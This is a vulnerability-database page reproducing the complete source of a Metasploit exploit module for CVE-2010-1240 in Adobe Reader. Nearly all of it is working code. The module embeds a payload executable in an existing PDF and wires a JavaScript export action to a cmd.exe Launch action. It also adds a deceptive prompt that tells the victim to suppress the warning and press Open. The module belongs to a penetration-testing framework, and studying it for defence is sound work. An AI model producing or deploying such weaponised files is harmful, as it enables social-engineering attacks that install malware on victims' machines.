Lucene search
K

Adobe PDF Embedded EXE Social Engineering

🗓️ 02 Jul 2010 00:10:51Reported by Colin Ames <[email protected]>, jduck <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 348 Views

This module embeds a Metasploit payload into an existing PDF file. The resulting PDF can be sent to a target as part of a social engineering attack

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::PDF_Parse
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'	=> 'Adobe PDF Embedded EXE Social Engineering',
        'Description' => %q{
          This module embeds a Metasploit payload into an existing PDF file. The
          resulting PDF can be sent to a target as part of a social engineering attack.
        },
        'License'	=> MSF_LICENSE,
        'Author' => [
          'Colin Ames <amesc[at]attackresearch.com>', # initial module
          'jduck' # add Documents for vista/win7/win10
        ],
        'References' => [
          [ 'CVE', '2010-1240' ],
          [ 'OSVDB', '63667' ],
          [ 'URL', 'http://blog.didierstevens.com/2010/04/06/update-escape-from-pdf/' ],
          [ 'URL', 'http://blog.didierstevens.com/2010/03/31/escape-from-foxit-reader/' ],
          [ 'URL', 'http://blog.didierstevens.com/2010/03/29/escape-from-pdf/' ],
          [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-15.html' ]
        ],
        'DisclosureDate' => '2010-03-29',
        'Payload' => {
          'Space' => 4096,
          'DisableNops' => true
        },
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'Platform'	=> 'win',
        'Targets' => [
          [ 'Adobe Reader v8.x, v9.x / Windows XP SP3 (English/Spanish) / Windows Vista/7/10 (English)', { 'Ret' => '' } ]
        ],
        'DefaultTarget'	=> 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [
            ARTIFACTS_ON_DISK, # the EXE is transferred to disk to be executed
            SCREEN_EFFECTS # a message is shown to the user, see: LAUNCH_MESSAGE
          ]
        }
      )
    )

    register_options(
      [
        OptPath.new('INFILENAME', [ true, 'The Input PDF filename.', ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2010-1240', 'template.pdf') ]),
        OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']),
        OptString.new('LAUNCH_MESSAGE', [
          false, 'The message to display in the File: area',
          'To view the encrypted content please check the "Do not show this message again" box and press Open.'
        ]),
      ]
    )
  end

  def exploit
    file_name = datastore['INFILENAME']

    print_status("Reading in '#{file_name}'...")
    stream = read_pdf

    begin
      print_status("Parsing '#{file_name}'...")
      pdf_objects = parse_pdf(stream)
      xref_trailers = pdf_objects[0]
      trailers = pdf_objects[1]
      startxrefs = pdf_objects[2]
      root_obj = pdf_objects[3]

      output = basic_social_engineering_exploit({
        xref_trailers: xref_trailers,
        root_obj: root_obj,
        stream: stream,
        trailers: trailers,
        file_name: file_name,
        startxref: startxrefs.last
      })

      print_good("Parsing Successful. Creating '#{datastore['FILENAME']}' file...")
      file_create(output)
    rescue KeyError => e
      # Lazy fix:
      # Similar to the problem with NoMethod -- something we need is missing in the PDF.
      # But really what happens is the module trusts the PDF too much.

      # Don't be sorry, you're a beautiful human we all appreciate greatly
      print_error("Sorry, I'm picky. Incompatible PDF structure. Please try a different PDF template.")
      elog('Sorry, I\'m picky. Incompatible PDF structure', error: e)
    rescue NoMethodError => e
      # Lazy fix:
      # When a NoMethod error is hit, that means that something in the PDF is actually missing,
      # so we can't parse it. If we can't parse it properly, then we can't garantee the exploit
      # will work, either.  So we might as well just reject it.
      print_error("Sorry, I'm picky. Incompatible PDF structure, please try a different PDF template.")
      elog('Sorry, I\'m picky. Incompatible PDF structure', error: e)
    end
  end

  def ef_payload(pdf_name, obj_num)
    print_status("Using '#{datastore['PAYLOAD']}' as payload...")

    payload_exe = generate_payload_exe
    file_size = payload_exe.length
    stream = Rex::Text.zlib_deflate(payload_exe)
    md5 = Rex::Text.md5(stream)

    output = String.new

    output << "#{obj_num.to_i + 1} 0 obj\r<</UF(#{pdf_name}.pdf)/F(#{pdf_name}.pdf)/EF<</F #{obj_num.to_i + 2} 0 R>>/Desc(#{pdf_name})/Type/Filespec>>\rendobj\r"
    output << "#{obj_num.to_i + 2} 0 obj\r<</Subtype/application#2Fpdf/Length #{stream.length + 3}/Filter/FlateDecode/DL #{file_size}/Params<</Size #{file_size}/CheckSum<#{md5.upcase}>>>>>"
    output << "stream\r#{stream}\r\nendstream\rendobj\r"

    return output
  end

  def js_payload(pdf_name, obj_num)
    output = String.new
    output << "#{obj_num.to_i + 3} 0 obj\r<</S/JavaScript/JS(this.exportDataObject({ cName: \"#{pdf_name}\", nLaunch: 0 });)/Type/Action>>\rendobj\r"
    output << "#{obj_num.to_i + 4} 0 obj\r<</S/Launch/Type/Action/Win<</F(cmd.exe)/D(c:\\\\windows\\\\system32)/P(/Q /C "

    # change to the home drive/path no matter what
    output << '%HOMEDRIVE%&cd %HOMEPATH%'

    # check for the pdf in these dirs, in this order..
    dirs = [ 'Desktop', 'My Documents', 'Documents', 'Escritorio', 'Mis Documentos' ]
    dirs.each do |dir|
      fmt = '&' \
            '(' \
            'if exist "%s" ' \
            '(cd "%s")' \
            ')'
      fname = "%s\\\\#{pdf_name}.pdf" % dir
      output << fmt % [fname, dir]
    end
    launch_message = datastore['LAUNCH_MESSAGE']
    lines = []
    launch_message.gsub(/.{1,80}(?:\s|\Z)/) { lines << ::Regexp.last_match(0) }
    if (lines.length > 2)
      print_warning('Warning: the LAUNCH_MESSAGE is more than 2 lines. It may not display correctly.')
    end

    output << '&' +
              # NOTE: the following doesn't work with spaces, and adding quotes doesn't execute the payload :-/
              "(start #{pdf_name}.pdf)" +
              # NOTE: The below message modifies the text in the "File:" textfield of the "Launch File" dialog
              ("\n" * 10) +
              launch_message +
              # NOTE: this extra rparen is required.
              ')' \
              ">>>>\rendobj\r"

    return output
  end

  def basic_social_engineering_exploit(opts = {})
    xref_trailers = opts[:xref_trailers]
    root_obj = opts[:root_obj]
    stream = opts[:stream]
    trailers = opts[:trailers]
    file_name = opts[:file_name]
    startxref = opts[:startxref]

    file_name = file_name.split(%r{/}).pop.to_s

    match = file_name.match(/(.+)\.pdf/)
    if match
      pdf_name = match[1]
    end

    catalog = parse_object(xref_trailers, root_obj, stream)

    match = catalog.match(/Names (\d+ \d) R/m)
    if match

      names = parse_object(xref_trailers, match[1], stream)
      match = names.match(/EmbeddedFiles (\d+ \d) R/m)
      if match
        embedded_files = parse_object(xref_trailers, match[1], stream)
        new_embedded_files = embedded_files.gsub(/(\]>>)/m, "(\xfe\xff#{Rex::Text.to_unicode(pdf_name, 'utf-16be')})#{trailers[0].fetch('Size')} 0 R" + '\1')
      else
        new_names = names.gsub(/(>>.*)/m, "/EmbeddedFiles #{trailers[0].fetch('Size')} 0 R" + '\1')
      end

    else
      new_catalog = catalog.gsub(/(Pages \d+ \d R)/m, '\1' + "/Names #{trailers[0].fetch('Size')} 0 R")
    end

    if catalog.match(/OpenAction/m)

      match = catalog.match(/OpenAction (\d+ \d) R/m)
      if match

        if new_catalog
          if new_embedded_files
            new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch('Size').to_i + 2} 0 R")
          elsif new_names
            new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch('Size').to_i + 3} 0 R")
          else
            new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch('Size').to_i + 4} 0 R")
          end
        elsif new_embedded_files
          new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch('Size').to_i + 2} 0 R")
        elsif new_names
          new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch('Size').to_i + 3} 0 R")
        else
          new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch('Size').to_i + 4} 0 R")

        end
      elsif new_catalog
        new_catalog = new_catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch('Size').to_i + 4} 0 R")
      else
        new_catalog = catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch('Size').to_i + 3} 0 R")
      end
    elsif new_catalog
      if new_embedded_files
        new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m, '\1' + "/OpenAction #{trailers[0].fetch('Size').to_i + 2} 0 R")
      elsif new_names
        new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m, '\1' + "/OpenAction #{trailers[0].fetch('Size').to_i + 3} 0 R")
      else
        new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m, '\1' + "/OpenAction #{trailers[0].fetch('Size').to_i + 4} 0 R")
      end

    elsif new_embedded_files
      new_catalog = catalog.gsub(/(Pages \d+ \d R)/m, '\1' + "/OpenAction #{trailers[0].fetch('Size').to_i + 2} 0 R")
    elsif new_names
      new_catalog = catalog.gsub(/(Pages \d+ \d R)/m, '\1' + "/OpenAction #{trailers[0].fetch('Size').to_i + 3} 0 R")
    else
      new_catalog = catalog.gsub(/(Pages \d+ \d R)/m, '\1' + "/OpenAction #{trailers[0].fetch('Size').to_i + 4} 0 R")
    end

    pages_obj = catalog.match(/Pages (\d+ \d) R/m)[1]
    pages = parse_object(xref_trailers, pages_obj, stream)

    page_obj = pages.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)[1]
    page = parse_object(xref_trailers, page_obj, stream)

    match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
    while match

      page_obj = match[1]
      page = parse_object(xref_trailers, page_obj, stream)
      match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
    end

    match = page.match(%r{AA<</O (\d+ \d) R}m)
    if match
      aa = parse_object(xref_trailers, match[1], stream)
    end

    new_pdf = String.new
    xrefs = String.new

    pdf_payload = String.new
    if new_embedded_files
      num = trailers[0].fetch('Size').to_i - 1
      pdf_payload << ef_payload(pdf_name, num)
      pdf_payload << js_payload(pdf_name, num)
      new_pdf << stream << pdf_payload

      xrefs = xref_create(new_pdf, stream.length, '*')

      new_size = trailers[0].fetch('Size').to_i + 4

      if aa
        new_page = page.gsub(%r{(AA<</O )\d+ \d R(.*)}m, '\1' + "#{trailers[0].fetch('Size').to_i + 3} 0" + '\2')
      else
        new_page = page.gsub(/(>> *\r?\n? *endobj)/m, "/AA<<\/O #{trailers[0].fetch('Size').to_i + 3} 0 R>>" + '\1')
      end

      new_pdf << new_catalog
      xrefs << xref_create(new_pdf, (new_pdf.length - new_catalog.length), '1')

      new_pdf << new_page
      xrefs << xref_create(new_pdf, (new_pdf.length - new_page.length), '1')

      new_pdf << new_embedded_files
      xrefs << xref_create(new_pdf, (new_pdf.length - new_embedded_files.length), '1')

      if trailers[0].key?('ID')
        new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch('Root')} R/Info #{trailers[0].fetch('Info')} R/ID#{trailers[0].fetch('ID')}>>\r\n"
      else
        new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch('Root')} R/Info #{trailers[0].fetch('Info')} R>>\r\n"
      end

      new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_embedded_files.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"

    elsif new_names
      num = trailers[0].fetch('Size').to_i
      pdf_payload << "#{num} 0 obj\r<</Names[(\xfe\xff#{Rex::Text.to_unicode(pdf_name, 'utf-16be')})#{num + 1} 0 R]>>\rendobj\r"
      pdf_payload << ef_payload(pdf_name, num)
      pdf_payload << js_payload(pdf_name, num)
      new_pdf << stream << pdf_payload

      xrefs = xref_create(new_pdf, stream.length, '*')

      new_size = trailers[0].fetch('Size').to_i + 5

      if aa
        new_page = page.gsub(%r{(AA<</O )\d+ \d(.*)}m, '\1' + "#{trailers[0].fetch('Size').to_i + 4} 0" + '\2')
      else
        new_page = page.gsub(/(>> *\r?\n? *endobj)/m, "/AA<<\/O #{trailers[0].fetch('Size').to_i + 4} 0 R>>" + '\1')
      end

      new_pdf << new_catalog
      xrefs << xref_create(new_pdf, (new_pdf.length - new_catalog.length), '1')

      new_pdf << new_page
      xrefs << xref_create(new_pdf, (new_pdf.length - new_page.length), '1')

      new_pdf << new_names
      xrefs << xref_create(new_pdf, (new_pdf.length - new_names.length), '1')

      if trailers[0].key?('ID')
        new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch('Root')} R/Info #{trailers[0].fetch('Info')} R/ID#{trailers[0].fetch('ID')}>>\r\n"
      else
        new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch('Root')} R/Info #{trailers[0].fetch('Info')} R>>\r\n"
      end

      new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_names.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"

    else
      num = trailers[0].fetch('Size').to_i + 1
      pdf_payload << "#{trailers[0].fetch('Size')} 0 obj\r<</EmbeddedFiles #{num} 0 R>>\rendobj\r"
      pdf_payload << "#{num} 0 obj\r<</Names[(#{pdf_name})#{num + 1} 0 R]>>\rendobj\r"
      pdf_payload << ef_payload(pdf_name, num)
      pdf_payload << js_payload(pdf_name, num)
      new_pdf << stream << pdf_payload
      xrefs = xref_create(new_pdf, stream.length, '*')

      new_size = trailers[0].fetch('Size').to_i + 6

      if aa
        new_page = page.gsub(%r{(AA<</O )\d+ \d(.*)}m, '\1' + "#{trailers[0].fetch('Size').to_i + 5} 0" + '\2')
      else
        new_page = page.gsub(/(>> *\r?\n? *endobj)/m, "/AA<<\/O #{trailers[0].fetch('Size').to_i + 5} 0 R>>" + '\1')
      end

      new_pdf << new_catalog
      xrefs << xref_create(new_pdf, (new_pdf.length - new_catalog.length), '1')

      new_pdf << new_page
      xrefs << xref_create(new_pdf, (new_pdf.length - new_page.length), '1')

      if trailers[0].key?('ID')
        new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch('Root')} R/Info #{trailers[0].fetch('Info')} R/ID#{trailers[0].fetch('ID')}>>\r\n"
      else
        new_pdf << "xref\r\n" << xrefs
        new_pdf << "trailer\r\n"
        new_pdf << "<</Size #{new_size}/Prev #{startxref}"
        new_pdf << "/Root #{trailers[0].fetch('Root')} R"
        new_pdf << "/Info #{trailers[0].fetch('Info')} R>>\r\n"
      end

      new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"

    end

    return new_pdf
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation